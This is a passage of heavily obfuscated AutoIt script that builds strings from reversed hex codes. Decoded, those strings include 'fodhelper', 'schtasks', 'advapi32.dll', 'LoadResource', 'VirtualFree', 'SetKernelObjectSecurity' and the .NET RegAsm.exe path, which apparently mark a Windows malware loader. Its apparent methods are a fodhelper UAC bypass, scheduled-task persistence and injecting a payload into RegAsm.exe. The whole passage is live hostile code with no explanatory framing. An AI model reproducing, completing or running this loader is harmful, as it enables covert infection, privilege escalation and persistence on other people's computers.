(STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $QZJAVAYFHN FOR $WLNKXBDHENJIFWK = 0 TO 27 $QZJAVAYFHN &= CHRW ($NIQGNZMMFMUGRGIRQAHV [$WLNKXBDHENJIFWK ] ) NEXT RETURN $QZJAVAYFHN ENDFUNC FUNC NEYRNTSCRVGVMIE_AIPS () LOCAL $BAPUCSRXSVADSZZ_DZXV [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $NPEPVBUKVV FOR $SWPJHOEDVFLFILU = 0 TO 4 $NPEPVBUKVV &= CHRW ($BAPUCSRXSVADSZZ_DZXV [$SWPJHOEDVFLFILU ] ) NEXT RETURN $NPEPVBUKVV ENDFUNC FUNC BXQASWZKZLPUSBSYWRMS () LOCAL $THWVBKAZLQPJUTSJEWCW [62 ] = [EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) ] LOCAL $UAVYIWAZJW FOR $LYADPJLAQJOFHMF = 0 TO 61 $UAVYIWAZJW &= CHRW ($THWVBKAZLQPJUTSJEWCW [$LYADPJLAQJOFHMF ] ) NEXT RETURN $UAVYIWAZJW ENDFUNC FUNC LWLOOAZUCIDQYGZMJMBV () LOCAL $FSNFDMPOLJRFCDOWRJGS [7 ] = [EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("A2x0" ) ) ] LOCAL $TJGKBLLJTR FOR $QZFZDEFMUVATQYY = 0 TO 6 $TJGKBLLJTR &= CHRW ($FSNFDMPOLJRFCDOWRJGS [$QZFZDEFMUVATQYY ] ) NEXT RETURN $TJGKBLLJTR ENDFUNC FUNC NQHDWOXCIB_QEELJDGMA () LOCAL $LIIVFWKRYWOILMKOOEUN [12 ] = [EXECUTE (STRINGREVERSE ("C4x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $FHMX_EFEMM FOR $_XZCA_VZHAEHDRZ = 0 TO 11 $FHMX_EFEMM &= CHRW ($LIIVFWKRYWOILMKOOEUN [$_XZCA_VZHAEHDRZ ] ) NEXT RETURN $FHMX_EFEMM ENDFUNC FUNC CQUHMIGHPJZEEOTZN_TN () LOCAL $AMYGQM_MKPB_VHQRLALV [6 ] = [EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("74x0" ) ) , EXECUTE (STRINGREVERSE ("F5x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("A5x0" ) ) ] LOCAL $QSOQ_IUXZH FOR $UEREZLHRWNJKZEP = 0 TO 5 $QSOQ_IUXZH &= CHRW ($AMYGQM_MKPB_VHQRLALV [$UEREZLHRWNJKZEP ] ) NEXT RETURN $QSOQ_IUXZH ENDFUNC FUNC EQHGEHDKHLRCRTDIXBBE () LOCAL $GWBQIKSUNVVHKZRLLYKF [1 ] = [EXECUTE (STRINGREVERSE ("73x0" ) ) ] LOCAL $IPRYUOJXMR FOR $FBSVCPLHJHUICKT = 0 TO 0 $IPRYUOJXMR &= CHRW ($GWBQIKSUNVVHKZRLLYKF [$FBSVCPLHJHUICKT ] ) NEXT RETURN $IPRYUOJXMR ENDFUNC FUNC QYMSBTRKGTCSZYSEDAZP () LOCAL $CKTTDML_VNMVRKKTR_ST [12 ] = [EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) ] LOCAL $GEUPPIRPTH FOR $AIRBJV_RLEQMNLH = 0 TO 11 $GEUPPIRPTH &= CHRW ($CKTTDML_VNMVRKKTR_ST [$AIRBJV_RLEQMNLH ] ) NEXT RETURN $GEUPPIRPTH ENDFUNC FUNC ZIYYCNNOYTWVTHFFJPYF () LOCAL $RARSZZXJLNZHSXADJTUZ [9 ] = [EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $YRFZCQDDKU FOR $WVBLTWZGLVZFZTQ = 0 TO 8 $YRFZCQDDKU &= CHRW ($RARSZZXJLNZHSXADJTUZ [$WVBLTWZGLVZFZTQ ] ) NEXT RETURN $YRFZCQDDKU ENDFUNC FUNC QPIOF_UVVRGYR_SFRPEE () LOCAL $LPNXGLATKGJEZQCRWHDG [8 ] = [EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("86x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) ] LOCAL $BCLHT_BKOI FOR $BSQLSPNFCRRRSDV = 0 TO 7 $BCLHT_BKOI &= CHRW ($LPNXGLATKGJEZQCRWHDG [$BSQLSPNFCRRRSDV ] ) NEXT RETURN $BCLHT_BKOI ENDFUNC FUNC JSJLNSFNVDUYFTRMGMGV () LOCAL $DHKQEETFIGITZ_KJJ_MA [11 ] = [EXECUTE (STRINGREVERSE ("65x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $CITGJYZEPV FOR $_KJDNIIEFKWABRF = 0 TO 10 $CITGJYZEPV &= CHRW ($DHKQEETFIGITZ_KJJ_MA [$_KJDNIIEFKWABRF ] ) NEXT RETURN $CITGJYZEPV ENDFUNC FUNC VBPHIAXOUJLQTTJBWGOZ () LOCAL $ECXAGSQZMQKZCRUPLOGI [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $SFPAQKYCDZ FOR $GTBWLJJFQGEEEHZ = 0 TO 2 $SFPAQKYCDZ &= CHRW ($ECXAGSQZMQKZCRUPLOGI [$GTBWLJJFQGEEEHZ ] ) NEXT RETURN $SFPAQKYCDZ ENDFUNC FUNC BNAPWCFTWUUANI_BTYZS () LOCAL $RWWEHAXRZGUJAPSQDCM_ [5 ] = [EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) ] LOCAL $GRWHWFPUQA FOR $ZYKOYAJKKDLFPLU = 0 TO 4 $GRWHWFPUQA &= CHRW ($RWWEHAXRZGUJAPSQDCM_ [$ZYKOYAJKKDLFPLU ] ) NEXT RETURN $GRWHWFPUQA ENDFUNC FUNC BPSDXARPKHOPHWYDWAGQ () LOCAL $TWOWZUINZVOPZWTCSXNJ [54 ] = [EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("75x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("46x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("D4x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("66x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("E4x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("45x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("16x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("67x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("C5x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("76x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("D6x0" ) ) , EXECUTE (STRINGREVERSE ("E2x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("87x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $FAWDCSEQOT FOR $IIKPGNMOQQYSVXY = 0 TO 53 $FAWDCSEQOT &= CHRW ($TWOWZUINZVOPZWTCSXNJ [$IIKPGNMOQQYSVXY ] ) NEXT RETURN $FAWDCSEQOT ENDFUNC FUNC AIMOGAKHMCHNEQFRRE_O () LOCAL $SFOPSSHFFSOAEQQUKUMF [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("93x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("14x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) ] LOCAL $VUXXOTFBUO FOR $WOL_VTUVJVSBDHI = 0 TO 61 $VUXXOTFBUO &= CHRW ($SFOPSSHFFSOAEQQUKUMF [$WOL_VTUVJVSBDHI ] ) NEXT RETURN $VUXXOTFBUO ENDFUNC FUNC FQQBLGPJOVXYRVOYOTCADEVL ($M ) IF KPFSZQMROGWPW ($M , 1 ) = 0 THEN EXIT ENDIF ENDFUNC FUNC TACNTGKGIIXUXZBZISQI () LOCAL $FDNZMTPTQHEYGUQ_MMW_ [4 ] = [EXECUTE (STRINGREVERSE ("77x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $PNEAARRQBD FOR $NLISNYCGPWGIBDH = 0 TO 3 $PNEAARRQBD &= CHRW ($FDNZMTPTQHEYGUQ_MMW_ [$NLISNYCGPWGIBDH ] ) NEXT RETURN $PNEAARRQBD ENDFUNC FUNC NGHPSFTHFSYQEEGNNCMZ () LOCAL $SWLZYUQACA_FVYXSCKAH [62 ] = [EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("63x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("23x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) ] LOCAL $QVIRYQSEES FOR $KAGQFXZUIDOJBKS = 0 TO 61 $QVIRYQSEES &= CHRW ($SWLZYUQACA_FVYXSCKAH [$KAGQFXZUIDOJBKS ] ) NEXT RETURN $QVIRYQSEES ENDFUNC FUNC RESUXV_MYAOKGVGBLKYR () LOCAL $HFUNFGCGVJUTMQJVCFKF [3 ] = [EXECUTE (STRINGREVERSE ("07x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) ] LOCAL $MKEORSTRPG FOR $FVFQLVBRRYTWGVF = 0 TO 2 $MKEORSTRPG &= CHRW ($HFUNFGCGVJUTMQJVCFKF [$FVFQLVBRRYTWGVF ] ) NEXT RETURN $MKEORSTRPG ENDFUNC FUNC YQGZKREPJPTEMNCPWJKE () LOCAL $CYNIACRUXCMYCWFVOZUQ [12 ] = [EXECUTE (STRINGREVERSE ("C4x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("B6x0" ) ) , EXECUTE (STRINGREVERSE ("25x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("37x0" ) ) , EXECUTE (STRINGREVERSE ("F6x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) ] LOCAL $ZDYZH_KSGD FOR $VRIUPRAVOJDHVFW = 0 TO 11 $ZDYZH_KSGD &= CHRW ($CYNIACRUXCMYCWFVOZUQ [$VRIUPRAVOJDHVFW ] ) NEXT RETURN $ZDYZH_KSGD ENDFUNC FUNC SGBAZFAVZPQVXLSPRMJS () LOCAL $UWEMZEULHZFKKBZH_HWI [23 ] = [EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("B4x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("E6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("C6x0" ) ) , EXECUTE (STRINGREVERSE ("F4x0" ) ) , EXECUTE (STRINGREVERSE ("26x0" ) ) , EXECUTE (STRINGREVERSE ("A6x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("35x0" ) ) , EXECUTE (STRINGREVERSE ("56x0" ) ) , EXECUTE (STRINGREVERSE ("36x0" ) ) , EXECUTE (STRINGREVERSE ("57x0" ) ) , EXECUTE (STRINGREVERSE ("27x0" ) ) , EXECUTE (STRINGREVERSE ("96x0" ) ) , EXECUTE (STRINGREVERSE ("47x0" ) ) , EXECUTE (STRINGREVERSE ("97x0" ) ) ] LOCAL $VCPAULPNAK FOR $YQEHPHMNO_HNFVY = 0 TO 22 $VCPAULPNAK &= CHRW ($UWEMZEULHZFKKBZH_HWI [$YQEHPHMNO_HNFVY ] ) NEXT RETURN $VCPAULPNAK ENDFUNC FUNC CYZXBDHVGXEYJPZBAMEF () LOCAL $POEWQOASEEROZRANXHXP [62 ] = [EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("54x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("13x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("24x0" ) ) , EXECUTE (STRINGREVERSE ("53x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("34x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("64x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("33x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("44x0" ) ) , EXECUTE (STRINGREVERSE ("83x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE (STRINGREVERSE ("73x0" ) ) , EXECUTE (STRINGREVERSE ("43x0" ) ) , EXECUTE (STRINGREVERSE ("03x0" ) ) , EXECUTE 